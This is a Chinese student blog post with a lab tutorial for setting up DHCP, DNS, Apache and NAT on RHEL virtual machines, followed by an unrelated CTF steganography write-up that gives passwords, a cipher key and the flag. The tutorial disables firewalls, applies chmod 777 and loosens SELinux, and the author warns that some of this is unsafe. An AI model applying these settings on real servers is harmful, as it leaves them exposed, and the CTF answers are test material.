  • DHCP服务器IP: 192.168.104.108
  • DNS服务器IP: 192.168.104.8
  • Apache 服务器IP:192.168.104.208
  • 域名:ljy21.com
  • 以上的内容要根据你的实际来整,后面的内容也要手动相应替换。

开机,干活

怎么开机就不讲啦。

开机打开终端,输入指令,指令在这里:

给DHCP服务器手动配置一个ip

nmtui
  1. 选择Edit Connect
  2. 选择ens192
  3. IP配置为 192.168.104.108/24,DNS配置为192.168.104.8,Gateway可以不配置~
    1
  4. 重启一下,让配置生效

    reboot
  5. 看一下下(如果没有显示出ip信息来,请重新nmtui配置ip,然后不要重启,继续下一步就可以。)
    12

安装DHCP服务器

首先输入 查看网卡mac地址,看好是VMnet11的网卡地址。

ip addr

这个是你的mac地址!记录下来!00:0c:29:81:cb:b5
12

sudo su
yum install dhcp-server -y
gedit /etc/dhcp/dhcpd.conf #修改配置文件

注意下面的配置:

host dayi_dhcp{
    hardware ethernet 00:0c:29:81:cb:b5; #←这个是你的ens192网卡mac地址
    fixed-address 192.168.104.108; #你DHCP需要配置的ip
}

↓这个是/etc/dhcp/dhcpd.conf配置文件

default-lease-time 600;
max-lease-time 7200;
ddns-update-style none;
authoritative;

host dayi_dhcp{
  hardware ethernet 00:0c:29:81:cb:b5;
  fixed-address 192.168.104.108;
}

subnet 192.168.104.0 netmask 255.255.255.0 {
  range 192.168.104.20 192.168.104.240; #ip段
  option routers 192.168.104.1; #网关
  option broadcast-address 192.168.104.255; #广播
  option subnet-mask 255.255.255.0; #子网掩码
  option domain-name-servers 192.168.104.8; #DNS
  default-lease-time 600;
  max-lease-time 7200;
}

1212

配置DHCP开机自启

systemctl enable dhcpd
systemctl start dhcpd
systemctl status dhcpd #查看状态 (绿了就可以了)

显示绿色滴,表示成功啦!(按q退出)
12

DHCP服务器不要关闭,要一直开着才能给别的机器分配IP!

配置DNS服务器

开机,打开终端

sudo su
ip addr #查看ip

pic

诶?好像和我想要的ip不太对劲!

这个时候就是要重新改ip啦。
DHCP并不知道你是DNS,所以随便给你了个ip,但是我们想要DHCP来自定义配置。
这样的话,我们去改改DHCP配置文件就可以啦!

我们要把这个网卡的mac地址记下来,看好网卡,你的DHCP里配置的是192.168.104.20-240
显然,这里就是有192.168.104.21的ip的网卡!

如图,我这里的是00:0c:29:0b:aa:0c

去DHCP服务器给DNS配置一下

到DHCP的终端里执行:

sudo su
gedit /etc/dhcp/dhcpd.conf

添加如下内容
其中00:0c:29:0b:aa:0c是你DNS的网卡地址!
其中192.168.104.8 是你想要的地址!

host dayi_dns{
    hardware ethernet 00:0c:29:0b:aa:0c;
    fixed-address 192.168.104.8;
}

pic2

保存文件

systemctl restart dhcpd #重启DHCP
systemctl status dhcpd #查看状态

重启DNS服务器,让DNS服务器重新获得ip(最简单啦)

reboot

当当当!
1

安装DNS服务

  1. 安装软件

     sudo su
      yum install bind bind-utils -y
      systemctl enable named #DNS开机自启
      systemctl start named #启动DNS
      systemctl stop firewalld.service
      systemctl disable firewalld.service

    根据需求来看,Apache服务器的ip配置为192.168.104.208

  2. 对DNS配置进行修改和配置

    sudo su
    gedit /etc/named.conf
    

    配置文件修改为这样

    options {
     listen-on port 53 { 127.0.0.1; };
     listen-on port 53 { any; };
     listen-on-v6 port 53 { ::1; };
     directory  "/var/named";
     dump-file  "/var/named/data/cache_dump.db";
     statistics-file "/var/named/data/named_stats.txt";
     memstatistics-file "/var/named/data/named_mem_stats.txt";
     secroots-file "/var/named/data/named.secroots";
     recursing-file "/var/named/data/named.recursing";
     //allow-query     { localhost; };
     allow-query {any;};
    
     recursion yes;
    
     dnssec-enable yes;
     dnssec-validation yes;
    
     managed-keys-directory "/var/named/dynamic";
    
     pid-file "/run/named/named.pid";
     session-keyfile "/run/named/session.key";
    
     /* https://fedoraproject.org/wiki/Changes/CryptoPolicy */
     include "/etc/crypto-policies/back-ends/bind.config";
     };
    
      logging {
        channel default_debug {
            file "data/named.run";
            severity dynamic;
        };
    };
    
    zone "." IN {
     type hint;
     file "named.ca";
    };
    
    include "/etc/named.rfc1912.zones";
    include "/etc/named.root.key";
    
  3. 测试 named.conf文件是否正确,

    [root@dns ~]# named-checkconf #使用这个后,如果没有输出内容,则代表配置文件没么问题
    [root@dns ~]# named-checkconf
    /etc/named.conf:21: missing ';' before '}' #如果出现这个代表配置文件有错误。
  4. 修改DNS配置文件

    sudo su
    gedit /etc/named.rfc1912.zones

    相关的详细信息可以参考这个文件 /usr/share/doc/bind*/sample/

    • named.rfc1912.zones的文件末尾添加,并且保存

        zone "ljy21.com" IN { //正向解析 
              type master; 
             file "ljy21.com.zone";
             allow-update{none;};
        };
       
        zone "104.168.192.in-addr.arpa" IN { //反向解析,可选
       type master;
       file "ljy21.com.local";
       allow-update{none;};
       };

    请注意,以下两个配置文件不建议直接复制
    请注意,以下两个配置文件不建议直接复制
    请注意,以下两个配置文件不建议直接复制

    • 修改正向解析文件
      执行命令:

      sudo su
      cd /var/named
      cp -p named.localhost ljy21.com.zone #-p 表示复制文件属性过来,这里的p很重要,不然容易出现权限拒绝的情况,特别是root进行修改的时候。
      gedit ljy21.com.zone

      其中:
      ljy21.com.zone配置文件如下

      啊啊啊啊,这里粘贴错了,↓现在已经改过来了

      $TTL 1D
      @ IN SOA @ rname.invalid. (
           0 ; serial
           1D ; refresh
           1H ; retry
           1W ; expire
           3H ) ; minimum
       NS @
       AAAA ::1
      @ A 192.168.104.208
      www A 192.168.104.208
      owo A 192.168.104.208

      考虑到markdown解析可能有问题,配置文件图片如下

      ljy21.com.zone

    • 修改反向解析文件(可选)

      cp -p named.localhost ljy21.com.local
      chmod 777 ljy21.com.local #如果没用-p进行复制的话,记得改下文件的权限
      gedit ljy21.com.local

      ljy21.com.local文件如下

      
      $TTL 1D
      @       IN SOA  @ rname.invalid. (
                                              0       ; serial
                                              1D      ; refresh
                                              1H      ; retry
                                              1W      ; expire
                                              3H )    ; minimum
              NS      @
              AAAA    ::1
              A       192.168.104.208
      208     PTR     www.ljy21.com.
      208     PTR     owo.ljy21.com.
      208     PTR     dayi.ljy21.com.

      考虑到markdown解析可能有问题,配置文件图片如下
      ljy21.com.local

  5. 重启DNS服务

    systemctl restart named
    systemctl status named
    
    #如果出现问题,试一试这个命令journalctl -u named.service
    #这个命令可以查看日志
    #一般出现问题就是配置文件,如果用好TAB,尽量不要复制。

    pic

    可以看到两个配置都已经加载好啦!

  6. 禁用DNS服务器防火墙

    #成功个鬼,把防火墙关了!
    sudo systemctl disable firewalld
    sudo systemctl stop firewalld
  7. 测试DNS服务器

    #正向解析
    [root@dns named]# nslookup ljy21.com 192.168.104.8 #使用192.168.104.8作为dns
    Server:         192.168.104.8
    Address:        192.168.104.8#53
    
    Name:   ljy21.com
    Address: 192.168.104.208
    Name:   ljy21.com
    Address: ::1
    
    #反向解析
    [root@dns named]# nslookup 192.168.104.208 192.168.104.8
    208.104.168.192.in-addr.arpa    name = owo.ljy21.com.
    208.104.168.192.in-addr.arpa    name = dayi.ljy21.com.
    208.104.168.192.in-addr.arpa    name = www.ljy21.com.

配置Apache服务器

你能到这一步已经很不容易了。加油加油。

4 )Apache服务器ip地址为192.168.10x.2yy其中x为你的班号,一班是1,二班是2,依次而推,yy是学号两位01,02,03,

1) Apache配置主目录和虚拟目录,主目录解析www.xx21.com。主页内容为科大xx班yy同学欢迎您。虚拟目录是你名字的首字母缩写。主页内容为,我是xx班yy同学,欢迎光临我的网站

owo

其实nginx也超级好用

让DHCP给Apache服务器配置ip

跟之前给DNS服务器配IP一样,输入ip addr获得mac地址
apache
这里获得的是00:0c:29:d3:c2:03

DHCP服务器修改文件gedit /etc/dhcp/dhcpd.conf
pic2

再贴个配置文件吧

#
# DHCP Server Configuration file.
#   see /usr/share/doc/dhcp-server/dhcpd.conf.example
#   see dhcpd.conf(5) man page
#
default-lease-time 600;
max-lease-time 7200;
ddns-update-style none;
authoritative;
host dayi_dhcp{
    hardware ethernet 00:0c:29:81:cb:b5;
    fixed-address 192.168.104.108;
}

host dayi_dns{
    hardware ethernet 00:0c:29:0b:aa:0c;
    fixed-address 192.168.104.8;
}

host dayi_apache{
  hardware ethernet 00:0c:29:d3:c2:03;
  fixed-address 192.168.104.208;
}

subnet 192.168.104.0 netmask 255.255.255.0 {
    range 192.168.104.20 192.168.104.240; #ip段
    option routers 192.168.104.1; #网关
    option broadcast-address 192.168.104.255; #广播
    option subnet-mask 255.255.255.0; #子网掩码
    option domain-name-servers 192.168.104.8; #DNS
    default-lease-time 600;
    max-lease-time 7200;
}

执行systemctl restart dhcpd来重启DHCP服务

重启Apache服务器

如图,已经正确获得ip
pic

安装,Apache

sudo dnf install httpd -y
sudo systemctl start httpd
sudo systemctl enable httpd
sudo systemctl stop firewalld.service #关闭防火墙
sudo systemctl disable firewalld.service #禁用防火墙
setsebool -P httpd_unified 1 #修改SELINUX对httpd的日志的写入的允许,也是会造成安全问题..
sudo systemctl status httpd

1

2

此时,你可以打开火狐浏览器访问http://localhost来看你的服务器效果。

pic
这样子就是成功啦。

配置,Apache

修改配置文件

sudo su
mkdir /etc/httpd/vhosts
gedit /etc/httpd/conf/httpd.conf

挺长挺头疼的..不过别担心!
Include conf.modules.d/*.conf后面添加Include vhosts/*.conf
pic

保存文件。

这里我还是贴一个吧(这个是真的影响版面..)

ServerRoot "/etc/httpd"
Listen 80
Include conf.modules.d/*.conf
Include vhosts/*.conf
User apache
Group apache

ServerAdmin root@localhost

<Directory />
 AllowOverride none
 Require all denied
</Directory>
DocumentRoot "/var/www/html"
<Directory "/var/www">
 AllowOverride None
 Require all granted
</Directory>

<Directory "/var/www/html">
 Options Indexes FollowSymLinks
 AllowOverride None
 Require all granted
</Directory>

<IfModule dir_module>
 DirectoryIndex index.html
</IfModule>

<Files ".ht*">
 Require all denied
</Files>

ErrorLog "logs/error_log"

LogLevel warn

<IfModule log_config_module>
 LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
 LogFormat "%h %l %u %t \"%r\" %>s %b" common

 <IfModule logio_module>
   # You need to enable mod_logio.c to use %I and %O
   LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio
 </IfModule>

 CustomLog "logs/access_log" combined
</IfModule>

<IfModule alias_module>
 ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"

</IfModule>


<Directory "/var/www/cgi-bin">
 AllowOverride None
 Options None
 Require all granted
</Directory>

<IfModule mime_module>

 TypesConfig /etc/mime.types
 AddType application/x-compress .Z
 AddType application/x-gzip .gz .tgz
 AddType text/html .shtml
 AddOutputFilter INCLUDES .shtml
</IfModule>

AddDefaultCharset UTF-8

<IfModule mime_magic_module>

 MIMEMagicFile conf/magic
</IfModule>

EnableSendfile on

IncludeOptional conf.d/*.conf

进入目录/etc/httpd/vhosts

sudo su
cd /etc/httpd/vhosts
gedit ljy21.com.conf #创建配置文件

配置文件如下,你记得自己改一下网站名字呀。

<VirtualHost *:80>
    ServerName www.ljy21.com
    ServerAlias ljy21.com
    DocumentRoot /var/www/ljy21.com/html
    ErrorLog /var/www/ljy21.com/log/error.log
    CustomLog /var/www/ljy21.com/log/requests.log combined

    # 虚拟目录
    Alias /ljy "/var/www/ljy21.com/owo/html"
    <Directory "/var/www/ljy21.com/owo/html">
        Order allow,deny
        Allow from all
    </Directory>
</VirtualHost>

pwp

创建目录文件

sudo mkdir -p /var/www/ljy21.com/html/
sudo mkdir -p /var/www/ljy21.com/log/
sudo mkdir -p /var/www/ljy21.com/owo/html/

sudo chmod +777 /var/www/ljy21.com/* #请注意,这个方法非常不安全,实际环境要好好配置权限才可以!

sudo gedit /var/www/ljy21.com/html/index.html #对根目录文件进行修改

index.html文件如下

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
     <title>Welcome to sdust</title>
</head>
<body>
    <h1>山科大网络工程21-4班dayi同学欢迎您。</h1>
</body>
</html>

保存文件
pwp

对个人主页文件进行修改。

sudo gedit /var/www/ljy21.com/owo/html/index.html

内容

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" >
  <title>Welcome to sdust</title>
</head>
<body>
<h1>这是你的个人主页,对应ljy21.com/ljy目录,你可以自由发挥~</h1>
</body>
</html>

p

重启服务器

systemctl restart httpd
systemctl status httpd

再次访问http://localhost出现主页
1

访问http://localhost/ljy出现个人主页
owo

ok,至此,已经完成绝大部分owo

配置NAT地址转换协议

NAT服务器不同于别的,NAT是地址转换协议,就是所谓的网关,将内网的数据表伪造成自己的数据包,然后发送,因此,这个机器需要再添加一个网卡

12

将新添加的网卡设置为VMnet18
pic

为什么这么做?
NAT用于地址转换,将VMnet18的网络信息,转发到VMnet11

开机

由于这里没要求固定ip,我们让DHCP服务器自己给网卡分配一个ip即可。

ip addr #查看新添加的网卡。
nmcli device status #查看网卡状态

12

通过这个命令可以建立连接ens224

nmcli device connect ens224
nmcli device up ens224

owo

然后,咱们直接去右上角配个ip吧,命令行挺麻烦的对吧,这里照着来就可以啦
因为192.168.233.1的IP被你的windows主机占用了,所以这里我们用192.168.233.2作为网关~

owo

Apply就好啦。

配置NAT转发

NAT转发是linux内核自带的功能,但是由于RHEL的修改,所以会有点点不一样,这里用标准的RHEL来进行配置。

打开终端

这里:

  • 与 192.168.108.0/24 连接的网卡是外网网卡。我这里是ens192
  • 与 192.168.233.0/24 连接的网卡是内网网卡。我这里是ens224

owo

我们需要做的是把内网网卡上的流量转发到外部网卡。

sudo su #切换到root用户
echo 1 > /proc/sys/net/ipv4/ip_forward #开启路由转发

firewall-cmd --get-zone-of-interface=ens192 #获得ens192的网卡区域
firewall-cmd  --permanent --zone=external --change-interface=ens192 #将ens192的网卡区域设置为外部
firewall-cmd --zone=external --list-all #查看所有外部网卡。

pic

可以看到已经设置为外部区域啦。

打开伪装

firewall-cmd --permanent --zone=external --add-masquerade
firewall-cmd --reload
firewall-cmd --permanent --zone=external --query-masquerade

pic2

ens224设置为内部区域

firewall-cmd --get-zone-of-interface=ens224 
firewall-cmd --permanent --zone=internal --change-interface=ens224 #修改区域
firewall-cmd --reload #重载
firewall-cmd --zone=internal --list-all

↓这个图可能跟你的不太一样,第一遍忘了截图了,你看最后这个命令之后有ens224就可以啦
pic3

更新:如果执行完命令出现不了的话,试试重启系统。

ok,你已经完成NAT啦

现在,服务端已经都配置好啦。准备网上冲浪吧!
monkey

网上冲浪

在这里,你也可以直接用一个windows虚拟机来进行操作。
可以去下载一个Firpe,大概800M是个比较完整的半个系统。

我们要从VMnet18来访问VMnet11的网站。
我们把客户端的网卡改到VMnet18,并且删除网络适配器1(删除NAT)。
owo
owo2

owo3

我们打开客户端,发现客户端ip并不对劲。
j
所以进行一下下修改。

修改之后如下:
pic

抱怨一下我怎么这么傻,上次羽毛球都差点挂了,这次又选上羽毛球了。


然后这里直接打开网页就可以啦。

我这里是www.ljy21.com

pwo

这里是www.ljy21.com/ljy
owo

ok,到此,linux教程结束。

文件下载

一定还会有很多不完全的地方,也期待大家尽量找咱反馈,因为这个东西真的很糟心。
谢谢!
本文源文件接近950(已经1027行了)行,30KB的txt真的很累,感谢你能看到这里。

文件下载在上传了。

感谢hanlin提供的网盘

小记

欢迎来问咱,其实这类东东就是这个过程:明明我根据教程走的,但是最后的结果为什么跟你的完全不一样,明明是一样的过程,结果却不一样?

我经历过无数这种事情,仔细看教程,再看一遍,查百度,查文档,去问群友,问论坛,去看英文(翻译),你只有不断经历这个过程,才能学习和进步,你不知道咱配那个大蛙哒经历了多少事情..

这就也许就是运维,技术支持?

说多啦,欢迎来linux技术维护群,因为相同的问题经常出现。
最近精力不太够,所以就来一个互助群。
号:760855194

本文中的简单诊断信息:(运行完或运行5s以上时间ctrl+c截图,并进行相应的修改)

ip addr
ping 192.168.104.8
ping 192.168.104.108
ping 192.168.104.208
nslookup ljy21.com 192.168.104.108

请注意:该群暂时只面向SDUST,进群请先说明您的身份,问问题的优先级大于闲聊。

最后附一张图啦。
pic

小兔子qrcode

这个题,就比上一个题难一点,我本来就打算压一压。

所以,这里直接说思路了

u2rabbit_2

  1. 首先是一个障眼法,你觉得这个是个二维码。

    于是,你把它修好了

    image-20220419211335301

    开心的用某支某付某宝进行扫描(或者微某信某,其他的扫描软件接受不了这么高损坏的二维码)

image-20220419211441051

是这样,你是一只小兔子呢!

好像方向不对。

用hex软件看一看二维码:

发现,竟然有PK!

image-20220419211638200

看来这个二维码不简单。

binwalk看一看吧

image-20220419211759545

诶呦,好像真的不简单呀(为什么这么多一样的文件,其实我是故意滴,因为,binwalk读出来的可能是直接的那个损坏的压缩文件,并且会导致decode.class没输出出来,然后我就多叠了几次,最后保证解压没有问题)

image-20220419211829031

打开压缩包,可以看到

image-20220419212108721

密码123

打开压缩包

image-20220419212259749

好像坏掉了。

你能把他修好吗?

因为WINRAR其实自带一种冗余,这里的冗余我选了百分之100,也就是说,其实下面有一个一模一样的RAR。但是呢,我们其实可以点直接修复。

image-20220419212404072

是真的可以修复的

image-20220419212430838

image-20220419212446091

修好啦。发现了更多的注释,并且没有报错!

其实这里的爆破有点难度,但是密码其实是2333

得到一段信息。

image-20220419212535824

image-20220419212613367

兔子是兔科哦,不是啮齿科!

解码

得到第二段信息

U2FsdGVkX19WQUgYV6LEqAigfB3h0DDENj18d7LdXR3FyDygctkFv2MOacumqHSu/8yITQSQFp4Sqg==

因为整个题目都在说兔子,你可能性的考虑到了兔子加密(唯一难的地方)

但是Rabbit加密是有秘钥的,那么这个时候,诶,好像还有个decode.class文件

进行反编译

image-20220419212911407

JAVA的反编译跟闹着玩一样。

看了一会,你发现,其实直接把str输出出来就可以

image-20220419213115376

得到了加密的key BigBigdadaRabbit,其实这里并不是很规范,因为Rabbit的加密key是有限制的。

但是这里也有说,如果一个rabbit不行就换一个

image-20220419213506449

嘿嘿,这样一看就是rot13啦

得到flagflag{0387f390-449c-4d14-b5d2-f747f086a7f4}